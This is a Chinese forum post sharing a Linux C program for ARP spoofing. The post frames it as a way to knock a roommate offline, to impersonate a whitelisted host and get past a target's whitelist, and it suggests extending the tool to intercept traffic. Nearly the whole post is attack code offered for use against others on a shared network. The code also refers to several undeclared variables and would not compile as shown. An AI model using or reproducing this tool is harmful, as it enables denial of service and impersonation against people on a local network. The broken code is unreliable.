ARP-三方欺骗-打挂你舍友的IP

好久好久没发过帖子啦

只皆因有些懒

又但了好久的白嫖党···

Arp欺骗搞协议的可能对这一块比较熟悉

也是用了这个特性做了个Arp欺骗的小工具

Linux可运行哈

分为A B C三者
A作为本机
B作为C者的“白名单” (想不到形容词了)
C作为A发起欺骗的目标

作用
1、可突破A者白名单限制
2、可将B者踢下线

只是个demo 大家也可以完善一下哈
比如增加收包
A回应B的请求 做一个协议的截断等等等

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <unistd.h>

//获取本机MAC地址,存入mac数组中,要求传入网卡名字
int getMacAddr(unsigned char mac[], const char name[])
{
    struct ifreq ethinfo;
    int sock_fd;

    if (name == NULL || mac == NULL)
    {
        return -1;
    }

    if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        perror("Open Socket");
        return -1;
    }

    strcpy(ethinfo.ifr_name, name);

    if (ioctl(sock_fd, SIOCGIFHWADDR, einfo) < 0)
    {
        perror("Ioctl");
        return -1;
    }
    int i;
    for (i = 0; i < 6; ++i)
    {
        mac[i] = (unsigned char)ethinfo.ifr_hwaddr.sa_data[i];
    }

    close(sock_fd);

    return 1;
}
//构建ARP数据包
//自己的mac 
//目标的mac
//自己的ip 
//目标的ip 
//包类型 
//数据
void packarp(unsigned char *mymac, unsigned char *tarmac, int *myip, int *tarip, char *opcode, char *arppack)
{
    char eth_type[2] = {0x00, 0x01}; //硬件类型,以太网为1
    char por_type[2] = {0x08, 0x00}; //ARP正在使用的上层协议类型,这里是IP协议
    char type[2] = {0x08, 0x06};     //帧类型,0x0806表示ARP
    char eth_length = 6;             //硬件地址长度
    char por_length = 4;             //协议地址长度,这里指IP协议

    memset(arppack, 0, 42);               //清空发送缓存区
    memcpy(arppack, tarmac, 6);           //6个字节表示目标主机的mac地址
    memcpy(arppack + 6, mymac, 6);        //6个字节表示源主机的mac地址
    memcpy(arppack + 12, type, 2);        //帧类型,这里表示ARP
    memcpy(arppack + 14, eth_type, 2);    //硬件地址,这里表示以太网
    memcpy(arppack + 16, por_type, 2);    //ARP正在使用的上层协议
    memcpy(arppack + 18, e_length, 1); //硬件地址长度
    memcpy(arppack + 19, &por_length, 1); //协议地址长度
    memcpy(arppack + 20, opcode, 2);      //标记是ARP还是ARP应答
    memcpy(arppack + 22, mymac, 6);       //发送者MAC地址
    memcpy(arppack + 28, myip, 4);        //发送者IP
    if (!(opcode[0] == 0x00 && opcode[1] == 0x01))
    {
        memcpy(arppack + 32, tarmac, 6); //目标MAC地址
    }
    memcpy(arppack + 38, tarip, 4); //目标IP地址
}
//发送arp包
int sendpcak(int fd, struct sockaddr sock, char *sendarp)
{
    socklen_t len = sizeof(sock);
    if (sendto(fd, sendarp, 42, 0, &sock, len) == 42)
    {
        printf("send arp pcak succeed\n");
    }
    else
    {
        perror("sendto");
        return -1;
    }
    return 1;
}
//接受arp包
int recvpcak(int fd, struct sockaddr sock, char *recvarp)
{
    socklen_t len = sizeof(sock);
    if (recvfrom(fd, recvarp, 42, 0, &sock, &len) == 42)
    {
        printf("recv arp pcak succeed\n");
    }
    else
    {
        perror("recvfrom");
        return -1;
    }
    return 1;
}
//获取本机IP
int getipaddr(char *eth_name, char* ip_addr)
{
        int sock;
        struct sockaddr_in sin;
        struct ifreq ifr;
        sock = socket(AF_INET, SOCK_DGRAM, 0);
        if (sock == -1)
        {
                perror("socket");
                return -1;                
        }

        strncpy(ifr.ifr_name, eth_name, IFNAMSIZ);
        ifr.ifr_name[IFNAMSIZ - 1] = 0;
        if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
        {
                perror("ioctl");
                return -1;
        }

        memcpy(&sin, &ifr.ifr_addr, sizeof(sin));
        strcpy(ip_addr, inet_ntoa(sin.sin_addr));        
        return 1;
}
//网卡名字 
//本机IP 
//要伪装的IP 
//要欺骗的IP
int main(int argc, char *argv[])
{

    if (argc < 2)
    {
        printf("Please enter parameters\t\n");
        printf("parameter 1: [ethname]  parameter 2:[simulateip]  variable parameter 3: [dstip]\t\n");
        printf("example 1:./xxx eth1 192.168.74.119 192.168.74.111\t\nexample 2:./xxx eth1 192.168.74.119\t\n");
        return -1;
    }

    unsigned char mymac[6] = {0};                                   //自己的MAC地址
    unsigned char simulatemac[6] = {0};                             //被伪装者MAC地址
    unsigned char dstmac[6] = {0};                                  // 被欺骗者MAC地址
    unsigned char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //广播的MAC地址
    char send_simulatearp[42] = {0};                                //被伪装的发送ARP包
    char send_simulatearpALL[42] = {0};      //被伪装的发送广播ARP包
    char send_dstarp[42] = {0};              //被欺骗的发送ARP包
    char send_dstarpALL[42] = {0};           //被欺骗的发送广播ARP包
    int simulateip, myip, dstip, sock_fd, Flag,fakemyip;
    char opcode[2] = {0x00, 0x01};         //请求标识
    char opcode_respond[2] = {0x00, 0x02}; //回应标识
        char ip_temp[64]={0};
        char ip_temp1[64]={0};
    struct sockaddr addr;
    memset(&addr, 0, sizeof(addr));
    strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));
        printf("ethname:%s\n",argv[1]);
        printf("simulateip:%s\n",argv[2]);
    if (argc == 4)
    {
                printf("desip:%s\n",argv[3]);
        dstip = inet_addr(argv[3]);
        Flag = 1;
    }
        if(!getipaddr(argv[1],ip_temp))
        {
                printf("get ip fail");
                return -1;
        }

        strcpy(ip_temp1, ip_temp);
        int templen = strlen(ip_temp1)-1;
        if (ip_temp1[templen] == '4')
    {
        ip_temp1[templen] = '3';
    }
    else
    {
        ip_temp1[templen] = '4';
    }
        fakemyip=inet_addr(ip_temp1);
        myip = inet_addr(ip_temp);
    simulateip = inet_addr(argv[2]);
    //获取本机MAC地址
    if (getMacAddr(mymac, argv[1]) < 0)
    {
        printf("get MAC fail\n");
        return -1;
    }
    int i;
    printf("my MAC:");
    for (i = 0; i < 6; i++)
    {
        printf("%02x ", mymac[i]);
    }
    printf("\n");
    packarp(mymac, tarmac, &fakemyip, &simulateip, opcode, send_arpsimulatearp); //拼接发送给被伪装者IP的arp包 先用自己假IP给他通信 要不然获取它的mac地址可能获取不到
    if (Flag)
    {
        packarp(mymac, tarmac, &myip, &dstip, opcode, send_arpdst); //拼接发送给被欺骗者IP的arp包 这个就无所谓了
    }
    if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0)
    {
        perror("Open Socket");
        return EXIT_FAILURE;
    }
    //获取需要的mac地址
        while(1)
        {
                sendpcak(sock_fd, addr, send_arpsimulatearp);
                usleep(50);
        recvpcak(sock_fd, addr, recv_arpsimulatearp);
        if (!memcmp((void *)recv_arpsimulatearp + 28, (void *)send_arpsimulatearp + 38, 4))
        {
            memcpy(simulatemac, recv_arpsimulatearp + 22, 6);
            printf("get simulate mac succeed\n");
            printf("simulate mac:");
            int i;
            for (i = 0; i < 6; i++)
            {
                printf("%02x ", simulatemac[i]);
            }
            printf("\n");
            break;
        }
        }
        sleep(3);
    while (Flag)
    {

                sendpcak(sock_fd, addr, send_arpdst);
                usleep(50);
                recvpcak(sock_fd, addr, recv_arpdst);
                if (!memcmp((void *)recv_arpdst + 28, (void *)send_arpdst + 38, 4))
                {
                        memcpy(dstmac, recv_arpdst + 22, 6);
                        printf("get dst mac succeed\n");
                        printf("dst mac:");
                        int i;
                        for (i = 0; i < 6; i++)
                        {
                                printf("%02x ", dstmac[i]);
                        }
                        printf("\n");
                        break;
                }
    }

    if (Flag)
    {
        packarp(mymac, dstmac, &simulateip, &dstip, opcode_respond, send_dstarp);    //把自己包装成 被伪装者的IP  发送给 被欺骗者
        packarp(mymac, tarmac, &simulateip, &dstip, opcode, send_dstarpALL); // 发送给被欺骗者 广播 自己的IP是被伪装者

        packarp(mymac, simulatemac, &dstip, &simulateip, opcode_respond, send_simulatearp); // 把自己包装成 被欺骗者的IP 发送给 被伪装者
        packarp(mymac, tarmac, &dstip, &simulateip, opcode, send_simulatearpALL);   // 广播 自己是 被伪装者

    }
    else
    {
        packarp(mymac, simulatemac, &simulateip, &myip, opcode, send_simulatearp_1);
    }
        printf("------ official start ------\t\n");
    while (1)
    {

        if (Flag)
        {
            sendpcak(sock_fd, addr, send_dstarp);
                        usleep(200);
            sendpcak(sock_fd, addr, send_dstarpALL);
                        usleep(200);
                        sendpcak(sock_fd, addr, send_simulatearp);
                        usleep(200);
                        sendpcak(sock_fd, addr, send_simulatearpALL);
                        sleep(25);

        }
        else
        {
            sendpcak(sock_fd, addr, send_simulatearp_1);
            usleep(200);
            recvpcak(sock_fd, addr, recv_simulatearp);
                        sleep(25);
        }

    }

    close(sock_fd);

    return EXIT_SUCCESS;
}